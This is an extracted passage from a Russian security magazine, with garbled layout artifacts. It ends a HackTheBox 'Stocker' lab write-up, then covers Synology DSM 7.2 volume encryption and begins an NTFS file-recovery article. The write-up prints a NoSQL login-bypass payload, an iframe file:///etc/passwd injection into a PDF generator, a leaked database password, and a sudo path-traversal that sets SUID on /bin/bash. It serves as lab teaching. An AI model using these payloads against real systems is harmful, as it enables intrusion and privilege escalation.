Он действу е т в два этапа . На первом произво дит ся обычное быстрое ска нирование , на втором — более тщатель ное сканиро вание , с использовани ем имеющих ся скриптов (опция -A).
Резуль та т работы скрипта
Сканер нашел всег о два открытых порта : 22 — служба OpenSSH 8.2p1 и 80 — веб сервер Nginx 1.18.0. С SSH сейчас ничего сделать не можем, поэтому проходим к веб серверу .
Главная страница сайта stocker.htb
ТОЧКА ВХОДА
На сайте ничего интерес ного найти не удалось , поэтому приступим к поиску скрытых файлов и каталогов , на которые не ведут ссылки . Я для этого исполь
зую feroxbuster.
Одн о из первых действий при тестирова нии безопасности веб приложе ния — это сканиро вание методом перебора каталогов , чтобы найти скрытую информаци ю и недоступные обычным посетителям функции . Для этого можно использовать программы вроде dirsearch, DIRB или fuf. Я предпочитаю feroxbuster.
При запуске указыва ем следующие параметры :
•-u — URL;
•-w — словарь (я использую словари из набора SecLists);
•-t — количеств о потоков;
•-d — глубина сканиро вания .
Набира ем такую команду :
feroxbuster -u http://stocker.htb/ -w directory_2.3_medium_lowercase.
txt -d 2 -t 256
Резуль тат сканиро вания каталогов с помощью feroxbuster
Ничег о найти не удалось , поэтому сканиру ем поддомены . Их я исследую
с помощью ffuf, перебирая заголовок Host (остальные ключи те же, что у ferox).
ffuf -u http://stocker.htb/ -w subdomains-top1million-110000.txt -t
256 -H 'Host: FUZZ.stocker.htb'
Резуль та т сканиро вания поддоменов
В выводе получаем все слова из списка , поэтому стои т использовать фильтр (параметр -fs), отсекающий ненужные ответы по размеру страницы .
ffuf -u http://stocker.htb/ -w subdomains-top1million-110000.txt -t
256 -H 'Host: FUZZ.stocker.htb' -fs 178
Резуль та т сканиро вания поддоменов
И находим всег о один новый поддомен — dev. Добавляем его в файл /etc/ hosts.
10.10.11.196 stocker.htb dev.stocker.htb
Страница авториза ции dev.stocker.htb
ТОЧКА ОПОРЫ
Возможнос ти авторизо ваться на сайте нет, поэтому будем искать обходные пути.
Запрос на авториза цию
Я сразу протес тирова л разные варианты обхода авториза ции для разных тех нологий и уязвимос тей с помощью Burp Intruder. Ничего найти не удалось , поэтому я перешел к тем вариантам , которые в брутфорсер не заложены . Так доходим до одной из JSON-нагрузок для эксплу ата ции NoSQL-инъекции .
{
"username": {
"$ne": null
},
"password": {
"$ne": null
}
}
Запрос на авториза цию
И нам становит ся доступен какой то онлайновый магазин.
Главная страница сайта
Перей дем к списку товаров и добавим любой из них в корзину . Затем перехо дим к корзине и просматри ваем ее содержимое .
Товары на сайте
Корзина онлайн магазина
Пробуем подтвер дить покупку , после чего нам дают ссылку на чек.
Подтвержде ние покупки
При переходе по ссылке получаем отдельный PDF-документ с информацией о товаре.
Чек с информацией о покупке
Мы прошли полный путь от авториза ции до получения чека, теперь перейдем
к истории запросов в Burp History и подробнее посмотрим , что при этом происхо дило.
Произвольное чтение файлов
В запросе на генерирова ние файла видим отправляемые параметры .
Запрос на /api/order в Burp History
Можн о было бы вместо пути к картинке в параметре image отправить путь к произволь ному файлу , но картинка в отчете не отобража ется . Единствен ный параметр, который находит отражение в отчете , — это поле title, наиме нование товара. Генераторы PDF часто позволя ю т проводить инъекцию тега iframe, в котором мы можем отобразить локальный файл. Для примера поп робуем вставить в PDF файл /etc/passwd.
<iframe src=file:///etc/passwd height=800px width=800px></iframe>
Запрос на генерирова ние отчета
В ответе видим идентифика тор отчета , который вставляем в ссылку такого вида:
http://dev.stocker.htb/api/po/63fb37ad3724ba9a5070fffa
Новый отчет с включен ным фреймом
И вместо наименова ния товара получаем вставленный фрейм с запрошен ным файлом . В etc/passwd видим активног о пользовате ля angoose с дей ствующей командной оболоч кой /bin/bash. Так как мы можем читать файлы , посмотрим исходные коды сайта .
По названи ю поддомена dev предполага ем , что сайт расположен в соот ветству ющем каталоге /var/www/dev/. По названи ю параметра куки connect.sid можн о предположить , что использует ся Node.js, поэтому будем запрашивать файл /var/www/dev/index.js.
<iframe src=file:///var/www/dev/index.js height=800px width=800px></
iframe>
Новый отчет с включен ным фреймом
В исходном коде index.js отмечаем использование СУБД MongoDB, а также учетные данные для подклю чения к базе.
mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?
authSource=admin&w=1
Пробуем применить найден ный пароль для авториза ции по SSH от имени пользовате ля angoose и получаем сесси ю на машине.
Флаг пользовате ля
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь нам необходимо собрать информацию . Я для этого обычно исполь зую скрипты PEASS.
Что делать после того, как мы получили доступ в систему от имени поль зователя ? Вариантов дальнейшей эксплу ата ции и повышения привиле гий может быть очень много , как в Linux, так и в Windows. Чтобы собрать информаци ю и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов , которые проверя ю т сис
тему на автомате и выдают подробный отчет о потенциаль но интерес ных файлах , процес сах и настрой ках .
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканиро вание . В выводе будет много информации , но ничего важного найти не удалось , кроме сообщения о запросе пароля для просмотра настро ек sudoers.
Ошибка при запросе настро ек sudoers
Файл /etc/sudoers в Linux содержи т списки команд, которые разные группы пользовате лей могут выполнять от имени админис тра тора системы . Можно просмотреть его как напрямую , так и при помощи команды sudo -l.
Выпол ним команду sudo -l и введем известный пароль.
Настрой ки sudoers
Мы можем выполнить от имени пользовате ля root такую команду :
/usr/bin/node /usr/local/scripts/*.js
В данном случае выполнить произволь ный код Node.js очень легко , так как в значении символа «звездочка » можно передавать и последова тель ность
../../../ для обхода каталога . Используем это, чтобы создать файл rshell.js, который присвои т бит SUID файлу командной оболоч ки /bin/ bash.
require('child_process').exec('chmod u+s /bin/bash')
Теперь выполним скрипт следующей командой , после чего проверим права файла /bin/bash:
sudo /usr/bin/node /usr/local/scripts/../../../../home/angoose/
rshell.js
Резуль та т выполнения команды
Когда у файла установ лен атрибу т setuid (S-атрибут ), обычный пользователь , запускающий этот файл, получае т повышение прав до пользовате ля — вла дельца файла в рамках запущенного процес са . После получения повышенных прав приложе ние может выполнять задачи, которые недоступны обычному пользовате лю . Из за возможнос ти состояния гонки многие операци онные системы игнориру ют S-атрибут , установ ленный shell-скриптам .
Флаг рута
Флаг рута у нас, а значит , машина захвачена !
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ПРИВАТНОСТЬ |
||||
|
to |
|
|
|
|||||
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
||
|
p |
|
|
g |
|
|
|||
|
|
df |
|
|
n |
e |
|
||
|
|
|
-x ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ИЗУЧАЕМ НОВЫЙ МЕХАНИЗМ ШИФРОВАНИЯ SYNOLOGY
В новой версии операци онной системы DSM 7.2 для сетевых хранилищ Synology появилась долгождан ная возможность шифрования томов. Насколь ко она удобна , надежна и отвечает требова ниям безопас ности? Давай разбирать ся!
Олег Афонин
Эксперт по мобильной криминалистике компании «Элкомсофт» aoleg@voicecallcentral.com
В недавн о вышедшем обновлении DSM 7.2 разработ чики Synology добавили зашифрован ные тома в дополнение к существу ющему методу шифрования сетевых папок. Новый для Synology способ шифрования более универ сален и работае т быстрее использовав шегося ранее, но не обошлось и без ложки дегтя , которая делае т такой способ защиты данных практичес ки бесполез ным.
Несколь к о лет назад я писал об особен ностях защиты данных в сетевых хранили щах разных произво дите лей . В NAS от Synology применя лось шиф рование сетевых папок с использовани ем стандар тной для Linux криптогра фической файловой системы eCryptFS. Кроме того, что с таким подходом связан о множес тв о ограниче ний и неудобств, управление ключами шиф рования было реализова но прямоли ней но и небезопас но . Если пользователь включа л автомати чес кое монтирова ние сетевых папок, то ключи шифрования , сохранен ные на самом устройстве либо на внешнем USB-накопителе , защищались фиксирован ным известным паролем, что делало защиту неэф фективной .
В новой версии операци онной системы Synology DSM 7.2 появилось дол гожданное шифрование на уровне тома. По утвержде ниям разработ чиков, новый способ защиты данных работае т быстрее механизма шифрования сетевых папок и при этом избавил ся от присущих пофайловому шифрованию ограниче ний. В то же время механизм управления ключами снова реализован так, что на большинс тве устройств реальная защищенность данных оказыва ется далека от желаемой .
Пока мы готовили статью к публикации , произо шел ряд интерес ных вещей.
В течение восьми часов после выхода DSM 7.2 защиту, обеспечива емую шифровани ем тома с обязатель ным хранени ем ключей на том же диске , уда лось обойти . Для этого достаточ но смонтировать в Linux системный раздел DSM (он хранит ся в незашифрован ном и неподписан ном виде в зеркаль ном RAID на всех установ ленных в NAS дисках ) и отредак тировать несколь ко тек стовых файлов . Подробнос ти — в треде на Reddit.
В скобках заметим, что и внешний KMIP-сервер от этой атаки не спасет , если в процес се загрузки NAS этот сервер окажет ся доступен , а автомати ческое монтирова ние тома — включено .
Между написанием и публикаци ей этой статьи разработ чики Synology успели выпустить два обновления DSM 7.2, в последнем из которых проблема
со сторон ними KMIP-серверами была исправлена . Подробно о работе KMIP в Synology расска зано в публикации на Reddit, а скачать работоспособ ный опенсор сный KMIP-сервер можно из репози тория на GitHub.
ШИФРОВАНИЕ В SYNOLOGY: КАК БЫЛО
Если ты хочешь в деталях ознакомить ся с методом шифрования сетевых папок, механизмом управления ключами в Synology DSM и узнать о выяв ленной в нем уязвимос ти, порекомен дую статью «Дырявые диски . Эксплу ати руем уязвимос ти в сетевых хранили щах Synology». Добавлю только , что с тех пор никаких изменений в механизме хранения ключей не произош ло и поль зователи , которые включили автомати ческую разбло кировку сетевых папок, до сих пор подверга ют зашифрован ные данные риску . Здесь же я хочу кратко описать основные достоинс тва и недостатки eCryptFS — криптогра фической файловой системы , которую выбрали разработ чики Synology DSM для защиты сетевых папок.
Вот список достоинств шифрования на уровне сетевых папок:
1.Посколь ку шифруют ся отдельные сетевые папки , не имее т значения , на каком из внутренних физических или логических накопителей они рас положены (а вот зашифровать таким образом USB-накопитель поль зователю не удастся ).
2.Каждая сетевая папка может быть зашифрована уникаль ным паролем. Если пользовате лей несколь ко, каждый может использовать собствен ный пароль.
3.Содержимое зашифрован ной папки можно просто скопиро вать на другой накопитель , и данные останут ся зашифрован ными. Необходимос ти вво дить (или даже знать) пароль шифрования нет, так что резервное копиро вание как на локальные , так и на удален ные системы можно проводить без монтирова ния (и расшифров ки) сетевых папок.
4.eCryptFS защищае т как данные , так и имена файлов и папок (последнее — небесплат но).
Несмотря на все достоинс тва , у шифрования сетевых папок есть ряд сущес твенных недостатков :
1.Ограниче ние на длину имен файлов . В имени файла в зашифрован ной папке не может быть больше 143 символов ANSI или 47 символов иерог лифической записи. Это прямое следствие шифрования имен файлов
ипапок.
2.Несмотря на то что имена файлов и папок шифруют ся, общая структура данных остается доступной внешнему наблюдате лю, включая размеры
иатрибуты отдельных файлов и папок.
3.Заметн о страдае т скорость доступа к данным , особен но если речь идет о множес тве мелких файлов .
4.Разработ чики Synology не предус мотрели разделения ключей шиф рования на первичные и вторич ные. Для шифрования данных использует ся ключ, получаемый напряму ю из пароля, который вводи т пользователь . Как следствие — невозможно отозвать скомпро метированный пароль или изменить пароль шифрования (расшифров ку всего массива данных с его последу ющим шифровани ем другим паролем мы не рассмат риваем, как максималь но неэффектив ный способ потратить время ).
5.Наконец, механизм управления ключами шифрования Synology, хоть и не является частью eCryptFS, позволя ет расшифро вать содержимое устрой ства, если пользователь включи т функци ю автомати ческого монтирова ния зашифрован ных папок.
Обрати присталь ное внимание на пункт 5: данные зашифрован ных сетевых папок уязвимы , если пользователь активиру е т необязатель ную функцию авто матичес ког о монтирова ния . Если же он не стане т этого делать, а то и вовсе решит не сохранять пароль шифрования ни на самом устройстве , ни на внеш нем USB-накопителе , то для расшифров ки защищенных сетевых папок пот ребуется атака перебором паролей, что совершенно не гарантиру е т резуль тата, если был выбран длинный и сложный пароль. Это очень важный момент: механизм управления ключами в новом способе шифрования Synology пре терпе л кардиналь ные изменения , но, увы, не в пользу усиления безопас ности.
ШИФРОВАНИЕ ДИСКОВ: НОВОЕ В DSM 7.2
В недавн о вышедшей версии DSM 7.2 появилась возможность шифрования
тома — volume encryption. Использует ся стандар тный механизм LUKS
в режиме aes-xts-plain64.
Включить шифрование можно только на вновь создава емых томах. Зашиф ровать данные на уже имеющем ся томе нельзя .
При включении шифрования тома система предложи т пользовате лю сох ранить резервный ключ, с помощью которого том можно будет расшифро вать, если что то случит ся с основной системой . Забегая вперед , скажу , что ранее выданные резервные ключи можно отозвать , сгенери ровав новый ключ (в этом случае ранее выданный ключ перестане т работать).
Важный момент: по умолчани ю ключ к зашифрован ному тому сохраня ется на том же устройстве , на котором создает ся сам зашифрован ный том.
Это позволя ет системе автомати чески монтировать зашифрован ные тома при загрузке NAS. Не сохранять ключ, равно как и отказать ся от автомати чес кого монтирова ния тома при загрузке , нельзя : единствен ная альтер натива — использовать внешний KMIP-сервер , в роли которого на данный момент может выступать только другой NAS от Synology (как это работает , можно узнать в докумен тации произво дителя).
Запишем в блокнотик : в бета версиях DSM 7.2 была возможность исполь зовать KMIP-серверы сторон ней разработ ки (кстати , сами разработ чики Synology как раз и использу ют один из вариантов с открытым исходным кодом). В релизе DSM 7.2 эту возможность убрали , на мой взгляд — совер шенно напрасн о с точки зрения безопасности данных , но очень правиль но с точки зрения маркетин га (возможность продать дополнитель ное устройство
Synology из свежей линейки — тольк о такие поддержи ва ют нужные для орга низации KMIP-сервера функции ).
Таким образом , получаем два возможных варианта хранения ключей —
иоба небезопас ны:
1.Ключ к зашифрован ному тому хранит ся на локальном устройстве . В этом
случае |
мы |
имеем |
дело |
|
с |
классичес |
ким |
security through |
obscurity: |
||||||||||||||||||||||
в документации |
Synology нет информации |
о том, где именно хранит ся |
|||||||||||||||||||||||||||||
ключ шифрования |
, и это — единствен |
ное , что может не остановить |
, |
||||||||||||||||||||||||||||
но замедлить |
злоумыш |
ленни |
ка , получившего |
физический доступ к устрой |
|||||||||||||||||||||||||||
ству. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
2. Ключ хранит ся на другом |
устройстве |
Synology: в этом случае |
злоумыш |
|
|||||||||||||||||||||||||||
леннику придет ся получить физический |
|
доступ уже к двум устройствам |
|||||||||||||||||||||||||||||
и повозиться с расшифров |
кой |
ключа |
шифрования |
, который хранит ся |
|||||||||||||||||||||||||||
на втором |
девайсе . И если второе |
устройство |
Synology, выполняющее |
||||||||||||||||||||||||||||
роль KMIP-сервера |
, находится |
|
в той |
же |
|
или |
соседней |
|
комнате |
, что |
|||||||||||||||||||||
и устройс тво с зашифрован |
ным |
томом, то полагаться на него для защиты |
|||||||||||||||||||||||||||||
пляжных фото в купальнике |
, наверное , можно , а вот без такового , пожалуй, |
||||||||||||||||||||||||||||||
не стоит . И хотя безопасность |
KMIP — тема отдельная |
и довольно |
|||||||||||||||||||||||||||||
обширная, физическая недоступность |
KMIP-сервера |
для злоумыш |
ленни |
|
|||||||||||||||||||||||||||
ка — один из ключевых |
моментов в обеспечении |
безопасного |
хранения |
||||||||||||||||||||||||||||
ключей . В скобках отметим : KMIP-сервер |
может хранить |
ключи |
как на |
||||||||||||||||||||||||||||
обычных , так и на зашифрован |
ных томах. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
СОВМЕСТНОЕ ИСПОЛЬЗОВАНИЕ ШИФРОВАНИЯ ТОМА И СЕТЕВЫХ ПАПОК
Мне было интерес н о узнать, получится ли создать зашифрован ную сетевую папку на зашифрован ном томе. Оказалось , что никаких препятс твий к этому нет: шифрование тома полность ю прозрачно ; на зашифрован ных томах мож но создавать и использовать как зашифрован ные , так и незашифрован ные сетевые папки . Можно как реплициро вать на зашифрован ные тома снимки (снапшоты ) зашифрован ных на другом NAS сетевых папок, так и проделы вать
то же самое в обратную сторону . Короче говоря, шифрование тома целиком и полность ю прозрачно .
Таким образом , в DSM 7.2 доступны следующие варианты защиты данных :
1.Тольк о шифрование тома.
2.Тольк о шифрование сетевых папок.
3.Зашифрован ные сетевые папки на зашифрован ном томе.
Разуме ется, при использовании в качестве второго слоя защиты шифрования сетевых папок мы получим все те ограниче ния, которые были описаны в начале статьи. Кроме того, вероятно , общая скорость доступа к дважды
зашифрован ным данным еще немного упаде т (замеры произво дительности каждог о варианта шифрования — тема для отдельной статьи).
Продолжение статьи →
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ПРИВАТНОСТЬ |
|||||
|
to |
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
||
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
g |
|
|
|
|||
|
|
|
|
n |
|
|
|
|
||
|
|
|
-x ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
← НАЧАЛО СТАТЬИw Click |
|
BUY |
|
m |
|||||||
to |
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
ИЗУЧАЕМ НОВЫЙ МЕХАНИЗМ ШИФРОВАНИЯ
SYNOLOGY
ШИФРОВАНИЕ ТОМА: КАК ЭТО ВЫГЛЯДИТ
Пройдем ся по процес су создания зашифрован ного тома и соответс твующим настрой кам.
Первые шаги при создании зашифрован ного тома не отличают ся от при вычных для Synology DSM. Настрой ки шифрования появляют ся на втором шаге.
При включении шифрования тебе нужно выбрать пароль хранили ща (vault password), который по умолчани ю будет сохранен на локальном устройстве .
На следующем шаге система предложи т сохранить ключ восста нов ления
(recovery key).
Наконец , система предуп реди т о последс тви ях , которые наступят , если ты потеряешь и ключ восста нов ления , и доступ к хранили щу .
Обрати внимание : чтобы использовать шифрование тома, тебе придет ся включить хранили ще ключей шифрования (тот пароль, который ты вводил на первом шаге, использует ся для защиты хранили ща ключей ).
Если ты забудешь пароль к хранили щу — ничего страшного , его можно сбро сить в любой момент. Знать оригиналь ный пароль не нужно ; все, что тебе потребу ется , — указать пароль пользовате ля DSM с админис тра тор ским дос тупом.
Отклю чить хранили ще ты не сможешь .
По крайней мере до тех пор, пока не настро ишь удален ное хранение ключей на KMIP-сервере .
В роли KMIP-сервера может выступать только другой NAS от Synology, при чем тольк о такой, который поддержи вае т шифрование тома (а это — модели от 2020-го модельног о года). Хранили ще ключей шифрования можно создать как на обычном , так и на зашифрован ном томе.
Если ты утратишь доступ к хранили щу , можно расшифро вать том при помощи ранее созданно г о ключа восста нов ления доступа . Если ключ восста нов ления доступа будет утрачен или скомпро мети рован , ты сможешь сгенери ровать новый (ранее созданный ключ при этом будет отозван ).
Кстати , каждое устройство Synology (из тех, что поддержи вают шифрование
тома) может использовать ся и в качестве KMIP-сервера , и в качестве кли ента.
Единствен ное ограниче ние : ты не можешь использовать пару устройств для взаимно г о хранения ключей (если устройство А выступа е т в роли KMIPсервера для устройства Б, то устройство Б не может быть KMIP-сервером
для устройства А).
|
Один из пользовате |
лей |
разработал |
решение |
||
|
с открытым |
исходным кодом для Raspberry Pi |
||||
|
или другого |
компьюте ра под управлением |
Linux |
на основе PyKMIP. Проект KMIP Server for Synology DSM позволя ет хранить ключи шиф рования на внешнем устройстве , где они могут быть защищены любым удобным способом , нап ример сохранены на зашифрован ном томе LUKS, который не будет автомати чески монтировать ся при загрузке сервера . К сожалению , в релизе DSM 7.2 этот способ работать перестал : воз можность использования сторон них KMIP-сер веров разработ чики DSM отключили .
ШИФРОВАНИЕ ТОМА В SYNOLOGY И QNAP
В сетевых хранили щах QNAP поддержи вают ся все возможные виды шиф рования — от SED до шифрования тома и сетевых папок включитель но . Об этом мы писали в статье «Слои защиты. Три уровня шифрования в сетевых хранили щах QNAP». Я не буду подробн о сравнивать особен ности реализации шифрования и хранения ключей в устройствах разных произво дите лей ; отме чу лишь, что такие операции , как монтирова ние , размонти рова ние и смена ключей зашифрован ных томов, занимают на устройствах QNAP несколь ко минут, а на устройствах Synology — считаные секунды .
СРАВНЕНИЕ ШИФРОВАНИЯ ТОМА И ШИФРОВАНИЯ СЕТЕВЫХ ПАПОК
Если сравнить шифрование тома и сетевых папок, то можно сделать сле дующие выводы.
Шифрование тома обеспечива е т защиту всего храняще гося на томе содержимого , включая все сетевые папки (в том числе домашние папки поль зователей ), метаданные файловой системы , виртуаль ные машины, приложе ния и контей неры . Шифрование сетевых папок защищае т только содержимое файлов и имена файлов и папок; структура файловой системы и метаданные при этом свобод н о доступны .
Оба метода позволя ют сменить пароль для доступа к хранили щу ключей , но тольк о шифрование тома дает возможность сменить скомпро метирован ный ключ восста новления и отозвать ранее выданные ключи . Шифрование сетевых папок требуе т расшифров ки и повторно го шифрования всех данных для смены скомпро метированного ключа .
Шифрование тома имее т стандар тное для Linux ограниче ние на длину имени файлов и папок в 255 символов , в то время как шифрование сетевых папок имее т ограниче ние в 143 символа .
Шифрование тома обеспечива ет прирос т произво дительности на 48% по сравнени ю с шифровани ем папок (по официаль ным данным Synology). Шифрование сетевых папок может вызывать заметное падение быстро дей ствия, особен но при работе с небольшими файлами .
Способы хранения ключей и управления ими сильно различа ются . Шиф рование тома предус матри вае т локальное хранение ключей (они защища ются паролем хранили ща , который также обязатель но сохраня ется на локаль ном диске ) либо возможность хранения на сервере KMIP (в роли которого может выступать только другое устройство Synology последних лет выпуска ). Шифрование сетевых папок используе т локальное или USB-хранили ще
с защитой паролем, который может сохранять ся локально на устройстве или не сохранять ся вовсе .
Оба метода поддержи ва ют автомати чес кое монтирова ние при загрузке , но оно обязатель н о для шифрования тома и опциональ но для шифрования сетевых папок.
В следующей таблице я собра л основные особен ности обоих методов шифрования .
ВЫВОДЫ
Что лучше — шифрование тома или сетевых папок? Выбор между этими дву мя варианта ми зависит от конкрет ных потребнос тей и требова ний безопас ности. Шифрование тома предлага е т более широкий спектр защиты, высокую произво дитель ность и гибкость в управлении ключами , в то время как шифрование сетевых папок более удобно в использовании и не требует обязатель ног о сохранения пароля, а также автомати чес кого монтирова ния зашифрован ных данных при загрузке устройства . Посколь ку в DSM 7.2 под держивает ся одновремен ное шифрование как тома, так и сетевых папок, ты можешь зашифровать том (это быстро и удобно ) и использовать допол нительное шифрование только для тех сетевых папок, для которых это дей ствитель н о нужно .
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ТРЮКИ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
||
|
p |
|
|
|
|
g |
|
|
||
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ВОССТАНАВЛИВАЕМ ФАЙЛЫ В NTFS С ИСПОЛЬЗОВАНИЕМ
POWERSHELL
Сущес тву ет множес тво способов вернуть утрачен ные или удален ные с накопителей файлы . В статье мы с тобой освежим в памяти теоретичес кие основы восста нов ления удален ной информации в файловой системе NTFS v3.1 и подробно рассмот рим
практичес кий способ ручного восста нов ления файлов с использовани ем
PowerShell.
Антон Кузнецов anton.aleksandrovich65@gmail.co m
Хочу отдать должное Крису Каспер ски за его тру ды на эту тему и подробное описание теории и практики в книге «Восста нов ление данных . Практичес кое руководство », а заодно поблагода рить Вален тина Холмогоро ва и Ксению Кирилову за обновление и переизда ние книги в 2021 году.
Сегод ня создан о предос таточ но програм мных решений для восста нов ления удален ных файлов с различных файловых систем . Однако , если переф разировать известное изречение , практика без теории мертва : чтобы мак симальн о эффективн о использовать инстру мен ты , нужно понимать, как они работают . Если перед специалис том стои т задача не просто вернуть утрачен ные файлы , а разобрать ся в причинах инциден та , знания об устройстве фай ловых систем просто необходимы .
ТЕОРИЯ
Подробн о рассмат ривать структуру NTFS я не вижу смысла , описание можно найти в книге Крис а «Восста нов ление данных . Практичес кое руководство » и статье «Файловая система NTFS извне и изнутри» (в двух частях ). Однако , чтобы наши действия при восста нов лении файлов были осмысленными , нам все же придет ся освежить в памяти некоторые ключевые особен ности фай ловой системы NTFS 3.1, а заодно вспомнить , как хранят ся и удаляют ся фай лы.
|
Не храни важные |
файлы на одном томе с опе |
||||||||||
|
рационной |
системой |
(обычно |
это |
диск |
С): |
||||||
|
на этом томе в NTFS чаще всего происхо |
дят |
||||||||||
|
изменения |
даже без прямого |
участия пользовате |
|
||||||||
|
ля, что может повлиять |
на восста нов ление |
утра |
|||||||||
|
ченной |
информации . Данные |
после |
удаления |
||||||||
|
на этом дисковом |
разделе |
могут быть переза |
|||||||||
|
писаны |
системны |
ми файлами |
. |
|
|
|
|
|
В файловой системе NTFS работае т принцип «все есть файл». Файл же имеет определен ный набор атрибутов . Мы не будем разбирать все атрибуты фай
лов, затронем тольк о самые важные : $STANDARD_INFO, $FILE_NAME, $DATA.
В атрибутах $STANDARD_INFO и $FILE_NAME записаны метки времени , под робнее о них мы поговорим позже , а в атрибуте $DATA хранит ся содержимое резидентно го файла . В случае с нерезиден тными файлами там располага ются «ссылки » на разбро санное по секторам содержимое файла , называ емое data runs или отрезками . Отрезки представ ляют собой последова тель ность кластеров , которые храня т содержимое нерезиден тного файла , а в качестве упомяну тых «ссылок » в атрибуте $DATA использует ся номер началь ного кластера и количество идущих следом кластеров . Как видишь, матема тика простая : если файл нерезиден тный (больше 720 байт), нам нужно найти кластер , с которог о он начинается , и собрать все кластеры воедино в верном порядке , а после записать содержимое кластеров в новый файл.
Все файловые атрибуты хранят ся в файловой записи (File Record) таблицы Master File Table ($mft). Это наиважней ший служеб ный файл (оттого он имеет резервну ю копию $mftmirr), так как содержи т в себе информаци ю обо всех файлах и директори ях на томе. Имея на руках только файл $mft, можн о выс троить хроноло ги ю связан ных с файлами событий, а в некоторых случаях — восста новить файлы .
Еще один важный служеб ный файл — карта свобод ного пространс тва $BitMap. С ее помощью отслежива ются все используемые и неисполь зуемые кластеры , что, конечн о же, напряму ю связано с создани ем и удалени ем фай лов или директорий . Кластер же в NTFS — минимальная единица дискового пространс тва, доступно го для размещения файлов и директорий в файловой системе NTFS. По умолчани ю размер кластера равен 4096 Kбайт, но при соз дании тома можн о задать иной размер .
Процесс удаления файла подробно описан в книге Криса , также информа цию можн о найти в статье «Разгре баем руины. Как восста новить удален ные файлы на разделах NTFS».
РЕЗИДЕНТНЫЕ И НЕРЕЗИДЕНТНЫЕ ФАЙЛЫ АТРИБУТЫ
